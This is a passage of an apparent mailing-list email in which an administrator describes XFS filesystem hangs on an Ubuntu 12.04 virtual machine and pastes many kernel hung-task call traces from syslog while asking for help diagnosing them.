schedule+0x3f/0x60 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105862] [] io_schedule+0x8f/0xd0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105865] [] sleep_on_page+0xe/0x20 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105872] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105875] [] __lock_page+0x67/0x70 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105881] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105887] [] write_cache_pages+0x3d4/0x460 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105890] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105892] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105895] [] generic_writepages+0x4a/0x70 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105965] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:55:25 ealxs00169 kernel: [34230238.105971] [] do_writepages+0x21/0x40 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105980] [] writeback_single_inode+0x180/0x430 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105983] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105986] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105988] [] wb_writeback+0x27b/0x330 Mar 4 19:55:25 ealxs00169 kernel: [34230238.105998] [] ? __switch_to+0xf5/0x360 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106003] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106005] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106009] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106014] [] ? usleep_range+0x50/0x50 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106016] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106019] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106021] [] kthread+0x8c/0xa0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106027] [] kernel_thread_helper+0x4/0x10 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106030] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:55:25 ealxs00169 kernel: [34230238.106032] [] ? gs_change+0x13/0x13 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082371] INFO: task flush-8:16:20760 blocked for more than 120 seconds. Mar 4 19:57:25 ealxs00169 kernel: [34230358.082468] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 4 19:57:25 ealxs00169 kernel: [34230358.082560] flush-8:16 D 0000000000000000 0 20760 2 0x00000000 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082564] ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082568] ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082571] ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082573] Call Trace: Mar 4 19:57:25 ealxs00169 kernel: [34230358.082594] [] ? __lock_page+0x70/0x70 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082599] [] schedule+0x3f/0x60 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082601] [] io_schedule+0x8f/0xd0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082604] [] sleep_on_page+0xe/0x20 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082607] [] __wait_on_bit_lock+0x5a/0xc0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082609] [] __lock_page+0x67/0x70 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082615] [] ? autoremove_wake_function+0x40/0x40 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082620] [] write_cache_pages+0x3d4/0x460 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082623] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082625] [] ? set_page_dirty_lock+0x60/0x60 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082627] [] generic_writepages+0x4a/0x70 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082677] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 4 19:57:25 ealxs00169 kernel: [34230358.082681] [] do_writepages+0x21/0x40 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082687] [] writeback_single_inode+0x180/0x430 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082689] [] writeback_sb_inodes+0x1b6/0x270 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082692] [] __writeback_inodes_wb+0x9e/0xd0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082694] [] wb_writeback+0x27b/0x330 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082700] [] ? __switch_to+0xf5/0x360 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082705] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082707] [] wb_check_old_data_flush+0x9f/0xb0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082713] [] wb_do_writeback+0x151/0x1d0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082719] [] ? usleep_range+0x50/0x50 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082721] [] bdi_writeback_thread+0x83/0x2a0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082723] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082726] [] kthread+0x8c/0xa0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082731] [] kernel_thread_helper+0x4/0x10 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082733] [] ? flush_kthread_worker+0xa0/0xa0 Mar 4 19:57:25 ealxs00169 kernel: [34230358.082736] [] ? gs_change+0x13/0x13 --------------020709070101020901020602 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi,

We have a problem with one of our systems which is using XFS but we are unable to find the problem. Recently we had two moments, Tuesday 4th of March and Friday the 21st of March, where we had to reboot the system to get it up and running again.

What happens:
- The programs handling files on the XFS disc stop working when creating, deleting or writing files. They do not error they are just waiting on the command to complete.
- One of our programs, a java application, goes into very high cpu usage (50%) which normally is at 1%. This could be something in our java application but it happens at the moment handling files gets stuck.
- A nice restart of the programs does not succeed as wel a kill -9 does not work.
- Trying to reboot the servers in a normal fashion does not work. As it is a virtual machine we have to do a shutdown (unplug power) and start it up again to get it up and running.

Following details I have for you:

System OS: Ubuntu 12.04 LTS
Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
Server: Virtual machine in a VMWare setup.
Disc: 300GB direct attached LUN

We have an exact clone of this system for our acceptance environment. In this environment we are unable to reproduce this problem/situation.

Differences between the two days is that our services on 2014-03-21 were quit busy with a lot of file changes on the xfs disc and on 2014-03-04 the system was very quiet on the moment the kernel traces appear and the services get stuck.

Any help is appreciated.

Regards Michel Verbraak.

Following we see in the syslog on both moments (2014-03-04 and 2014-03-21):

Mar 21 06:32:20 ealxs00169 kernel: [1412280.930340] INFO: task flush-8:16:13864 blocked for more than 120 seconds.
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930462] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16      D 0000000000000000     0 13864      2 0x00000000
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930549]  ffff88000676f880 0000000000000046 0000000001000000 2500000000000000
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930557]  ffff88000676ffd8 ffff88000676ffd8 ffff88000676ffd8 00000000000137c0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930560]  ffff880002218000 ffff88001b5d4500 ffff88000676f850 ffff88001fc14080
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930564] Call Trace:
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930584]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930602]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930605]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930608]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930617]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930620]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930626]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930634]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930638]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930641]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930644]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930701]  [<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930708]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930719]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930722]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930725]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930728]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930739]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930744]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930747]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930751]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930757]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930762]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930765]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930768]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930775]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930778]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930781]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891012] INFO: task archiver.pl:4005 blocked for more than 120 seconds.
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891118] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl     D 0000000000000000     0  4005   4004 0x00000000
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891186]  ffff88001bb41718 0000000000000086 ffffffff8142bff0 0000000000000002
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891189]  ffff88001bb41fd8 ffff88001bb41fd8 ffff88001bb41fd8 00000000000137c0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891192]  ffff88001bad8000 ffff88000602dc00 ffff88001bb41798 7fffffffffffffff
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891195] Call Trace:
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891223]  [<ffffffff8142bff0>] ? scsi_mode_select+0x200/0x200
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891227]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891229]  [<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891234]  [<ffffffff8165c5f0>] __down_common+0xa5/0xf5
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891291]  [<ffffffffa007c295>] ? _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891294]  [<ffffffff8165c6b3>] __down+0x1d/0x1f
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891301]  [<ffffffff810912e1>] down+0x41/0x50
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891314]  [<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891324]  [<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891335]  [<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891345]  [<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891373]  [<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891386]  [<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891399]  [<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891411]  [<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891418]  [<ffffffff8116371b>] ? kfree+0x3b/0x140
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891421]  [<ffffffff8116355f>] ? kmem_cache_free+0x2f/0x110
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891432]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891447]  [<ffffffffa00cb2f8>] ? xfs_perag_get+0x38/0xd0 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891460]  [<ffffffffa00967f1>] ? xfs_free_extent+0x91/0x120 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891473]  [<ffffffffa0096802>] xfs_free_extent+0xa2/0x120 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891486]  [<ffffffffa00a6e14>] xfs_bmap_finish+0x164/0x1b0 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891501]  [<ffffffffa00c143b>] xfs_itruncate_extents+0xdb/0x1e0 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891516]  [<ffffffffa00c15a6>] xfs_itruncate_data+0x66/0x150 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891529]  [<ffffffffa009056e>] xfs_inactive+0x2fe/0x460 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891532]  [<ffffffff8165d545>] ? _raw_spin_lock_irq+0x15/0x20
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891543]  [<ffffffffa008afad>] xfs_fs_evict_inode+0xad/0x110 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891547]  [<ffffffff81193e98>] evict+0xb8/0x1c0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891550]  [<ffffffff81194088>] iput_final+0xe8/0x210
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891552]  [<ffffffff811941ee>] iput+0x3e/0x50
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891555]  [<ffffffff81188be3>] do_unlinkat+0x153/0x1d0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891561]  [<ffffffff8117974d>] ? vfs_read+0x10d/0x180
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891564]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891568]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891571] INFO: task flush-8:16:13864 blocked for more than 120 seconds.
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891626] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891686] flush-8:16      D 0000000000000000     0 13864      2 0x00000000
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891689]  ffff88000676f880 0000000000000046 0000000001000000 2500000000000000
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891692]  ffff88000676ffd8 ffff88000676ffd8 ffff88000676ffd8 00000000000137c0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891694]  ffff880002218000 ffff88001b5d4500 ffff88000676f850 ffff88001fc14080
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891697] Call Trace:
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891702]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891704]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891710]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891712]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891714]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891717]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891720]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891725]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891727]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891730]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891732]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891742]  [<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891745]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891749]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891751]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891754]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891756]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891760]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891763]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891765]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891768]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891772]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891774]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891777]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891779]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891782]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891784]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar 21 06:34:20 ealxs00169 kernel: [1412400.891787]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861122] INFO: task java:14629 blocked for more than 120 seconds.
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861204] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861471] java            D 0000000000000000     0 14629   1788 0x00000000
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861476]  ffff8800028e9328 0000000000000086 0000000000000100 0000000000000100
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861481]  ffff8800028e9fd8 ffff8800028e9fd8 ffff8800028e9fd8 00000000000137c0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861483]  ffff88001a9a4500 ffff88001b5e8000 ffff8800028e9308 7fffffffffffffff
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861487] Call Trace:
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861500]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861502]  [<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861514]  [<ffffffff8101aef2>] ? nommu_map_sg+0x72/0xe0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861522]  [<ffffffff8142bff0>] ? scsi_mode_select+0x200/0x200
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861526]  [<ffffffff8165c5f0>] __down_common+0xa5/0xf5
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861581]  [<ffffffffa007c295>] ? _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861583]  [<ffffffff8165c6b3>] __down+0x1d/0x1f
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861588]  [<ffffffff810912e1>] down+0x41/0x50
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861598]  [<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861608]  [<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861618]  [<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861626]  [<ffffffff8105702d>] ? set_next_entity+0xad/0xd0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861637]  [<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861656]  [<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861670]  [<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861684]  [<ffffffffa00a0c93>] ? xfs_bmap_add_extent_hole_delay+0xd3/0x6b0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861697]  [<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861711]  [<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861725]  [<ffffffffa00aa368>] ? xfs_bmbt_get_all+0x18/0x20 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861730]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861732]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861748]  [<ffffffffa00cb2f8>] ? xfs_perag_get+0x38/0xd0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861762]  [<ffffffffa009fe23>] ? xfs_bmap_btalloc_nullfb+0x193/0x380 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861776]  [<ffffffffa0096b6c>] ? xfs_alloc_vextent+0x2ec/0x690 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861792]  [<ffffffffa0096a4b>] xfs_alloc_vextent+0x1cb/0x690 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861806]  [<ffffffffa00a02c1>] xfs_bmap_btalloc+0x2b1/0x770 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861821]  [<ffffffffa00c21dc>] ? xfs_iext_bno_to_ext+0x8c/0x160 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861836]  [<ffffffffa00a07a4>] xfs_bmap_alloc+0x24/0x40 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861849]  [<ffffffffa00a594e>] xfs_bmapi_allocate+0xce/0x2d0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861864]  [<ffffffffa00a85c3>] xfs_bmapi_write+0x4c3/0x720 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861876]  [<ffffffffa0086988>] xfs_iomap_write_allocate+0x178/0x330 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861886]  [<ffffffffa00799c3>] xfs_map_blocks+0x183/0x250 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861895]  [<ffffffffa007aa56>] xfs_vm_writepage+0x196/0x510 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861901]  [<ffffffff81122217>] __writepage+0x17/0x40
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861903]  [<ffffffff81122a0d>] write_cache_pages+0x20d/0x460
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861922]  [<ffffffff8152ba7d>] ? sock_recvmsg+0x11d/0x140
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861925]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861935]  [<ffffffffa00804bc>] ? xfs_file_aio_write+0x25c/0x2a0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861938]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861948]  [<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861951]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861955]  [<ffffffff81119f2b>] __filemap_fdatawrite_range+0x5b/0x60
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861958]  [<ffffffff81119f82>] filemap_write_and_wait_range+0x52/0x80
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861968]  [<ffffffffa007f05d>] xfs_file_fsync+0x5d/0x300 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861972]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861977]  [<ffffffff811a7eb6>] do_fsync+0x56/0x80
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861979]  [<ffffffff811a81e0>] sys_fsync+0x10/0x20
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861983]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:36:20 ealxs00169 kernel: [1412520.861989] INFO: task archiver.pl:4005 blocked for more than 120 seconds.
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862047] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862112] archiver.pl     D 0000000000000000     0  4005   4004 0x00000000
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862115]  ffff88001bb41718 0000000000000086 ffffffff8142bff0 0000000000000002
